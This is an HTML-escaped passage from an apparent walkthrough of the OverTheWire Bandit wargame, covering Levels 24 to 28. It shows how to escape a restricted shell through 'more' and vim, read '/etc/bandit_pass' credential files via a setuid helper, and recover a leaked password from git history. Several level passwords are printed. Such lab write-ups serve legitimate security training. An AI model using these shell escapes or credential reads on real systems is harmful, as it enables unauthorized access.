&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And run the script and save the output to a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./level24.sh &amp;gt; out.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now view only the line with the correct password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit24@bandit:/tmp/mine24$ grep Wrong out.txt -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I am the pincode checker &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user bandit25. Please enter the password &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; user bandit24 and the secret pincode on a single line, separated by a space.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Correct!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Exiting.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-25"&gt;
Level 25
&lt;a href="#level-25" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-5"&gt;
Level Goal
&lt;a href="#level-goal-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Logging in to &lt;code&gt;bandit26&lt;/code&gt; from &lt;code&gt;bandit25&lt;/code&gt; should be fairly easy… The shell for user &lt;code&gt;bandit26&lt;/code&gt; is not &lt;code&gt;/bin/bash&lt;/code&gt;, but something else. Find out what it is, how it works and how to break out of it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-5"&gt;
Solution
&lt;a href="#solution-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit25&lt;/code&gt;, using the password found from Level 24:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit25@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can first try to login using the &lt;code&gt;bandit26.sshkey&lt;/code&gt; private SSH key for the &lt;code&gt;bandit26&lt;/code&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Enjoy your stay!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; _ _ _ _ ___ __
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | | | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; | |__ &lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;/ /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | |__ __ _ _ __ __| |_| |_ &lt;span style="color:#f92672"&gt;)&lt;/span&gt; / /_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | &lt;span style="color:#e6db74"&gt;&amp;#39;_ \ / _` | &amp;#39;&lt;/span&gt;_ &lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;/ _&lt;span style="color:#e6db74"&gt;`&lt;/span&gt; | | __| / / &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;_ &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | |_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_| | | | | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_| | | |_ / /| &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; |_.__/ &lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_,_|_| |_|&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_,_|_|&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_|____&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;__/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection to localhost closed.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We just get disconnected every time we try to login.&lt;/p&gt;
&lt;p&gt;We can find the default shell for &lt;code&gt;bandit26&lt;/code&gt; user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/passwd | grep bandit26
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we see that the default shell is &lt;code&gt;/usr/bin/showtext&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit25@bandit:~$ cat /etc/passwd | grep bandit26
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can &lt;code&gt;cat&lt;/code&gt; this script to see what it does:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit25@bandit:~$ cat /usr/bin/showtext
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export TERM&lt;span style="color:#f92672"&gt;=&lt;/span&gt;linux
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;more ~/text.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see that it uses &lt;code&gt;more&lt;/code&gt; to show the &lt;code&gt;~/text.txt&lt;/code&gt; file that contains some ascii art. If we can use a terminal that can zoom very close or make the terminal window very small so that the ascii art will be buffered, we can use &lt;code&gt;more&lt;/code&gt; to execute commands with a &lt;code&gt;!&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!whoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit25
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;------------------------
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But that did not work in this case.&lt;/p&gt;
&lt;p&gt;We can also use &lt;code&gt;more&lt;/code&gt; to open a file in vim by pressing &lt;code&gt;v&lt;/code&gt;, and then we can run in vim the command (by pressing &lt;code&gt;:&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;r&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/etc/&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;bandit_pass&lt;/span&gt;/&lt;span style="color:#a6e22e"&gt;bandit26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to open the password file for reading.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; _ _ _ _ ___ __
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; | | | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; | |__ &lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;/ /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; | |__ __ _ _ __ __| |_| |_ &lt;span style="color:#f92672"&gt;)&lt;/span&gt; / /_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;&amp;#39;_ \ / _` | &amp;#39;&lt;/span&gt;_ &lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;/ _&lt;span style="color:#e6db74"&gt;`&lt;/span&gt; | | __| / / &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;_ &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; | |_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_| | | | | &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_| | | |_ / /| &lt;span style="color:#f92672"&gt;(&lt;/span&gt;_&lt;span style="color:#f92672"&gt;)&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; |_.__/ &lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_,_|_| |_|&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_,_|_|&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;_|____&lt;span style="color:#ae81ff"&gt;\_&lt;/span&gt;__/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-26"&gt;
Level 26
&lt;a href="#level-26" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-6"&gt;
Level Goal
&lt;a href="#level-goal-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Good job getting a shell! Now hurry and grab the password for bandit27!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-6"&gt;
Solution
&lt;a href="#solution-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit26&lt;/code&gt;, using the password found from Level 25:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit26@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Even though we have a password we cannot enter a shell on user &lt;code&gt;bandit26&lt;/code&gt;.
What we can do, is the same as in the previous level, we have to shrink the terminal window in order for &lt;code&gt;more&lt;/code&gt; to buffer, and we can open the file in vim by pressing &lt;code&gt;v&lt;/code&gt;, and then we can run in vim a command (by pressing &lt;code&gt;:&lt;/code&gt;) to set our shell to be &lt;code&gt;/bin/bash&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell&lt;/span&gt;=&lt;span style="color:#e6db74"&gt;/bin/&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#a6e22e"&gt;shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we have a shell for user &lt;code&gt;bandit26&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we &lt;code&gt;ls&lt;/code&gt;, we see the following files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit26@bandit:~$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit27-do text.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we run it, we see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit26@bandit:~$ ./bandit27-do
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Run a command as another user.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Example: ./bandit27-do id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we just &lt;code&gt;cat&lt;/code&gt; to see the password we want:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3ba3118a22e93127a4ed485be72ef5ea
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-27"&gt;
Level 27
&lt;a href="#level-27" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-7"&gt;
Level Goal
&lt;a href="#level-goal-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh://bandit27-git@localhost/home/bandit27-git/repo&lt;/code&gt;. The password for the user &lt;code&gt;bandit27-git&lt;/code&gt; is the same as for the user &lt;code&gt;bandit27&lt;/code&gt;.
Clone the repository and find the password for the next level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-7"&gt;
Solution
&lt;a href="#solution-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit27&lt;/code&gt;, using the password found from Level 26:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit27@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine27
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine27
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then clone the git repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The password is the same as the current&amp;rsquo;s level.&lt;/p&gt;
&lt;p&gt;There is only one &lt;code&gt;README&lt;/code&gt; file in the repo and we can &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit27@bandit:/tmp/mine27$ cat repo/README
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-28"&gt;
Level 28
&lt;a href="#level-28" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-8"&gt;
Level Goal
&lt;a href="#level-goal-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh://bandit28-git@localhost/home/bandit28-git/repo&lt;/code&gt;. The password for the user &lt;code&gt;bandit28-git&lt;/code&gt; is the same as for the user &lt;code&gt;bandit28&lt;/code&gt;.
Clone the repository and find the password for the next level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-8"&gt;
Solution
&lt;a href="#solution-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit28&lt;/code&gt;, using the password found from Level 27:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit28@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine28
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine28
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then clone the git repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The password is the same as the current&amp;rsquo;s level.&lt;/p&gt;
&lt;p&gt;There is only one README file in the repo and we can &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit28@bandit:/tmp/mine28$ cd repo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit28@bandit:/tmp/mine28/repo$ cat README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bandit Notes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Some notes &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; level29 of bandit.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- username: bandit29
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- password: xxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can &lt;code&gt;git log&lt;/code&gt; in order to see all previous commits:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit28@bandit:/tmp/mine28/repo$ git log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;commit edd935d60906b33f0619605abd1689808ccdd5ee
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Date: Thu May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 20:14:49 &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; +0200
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fix info leak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;commit c086d11a00c0648d095d04c089786efef5e01264
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Date: Thu May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 20:14:49 &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; +0200
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; add missing data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Date: Thu May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 20:14:49 &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; +0200
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; initial commit of README.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can checkout to the &lt;code&gt;add missing data&lt;/code&gt; commit by using the commit hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git checkout c086d11a00c0648d095d04c089786efef5e01264
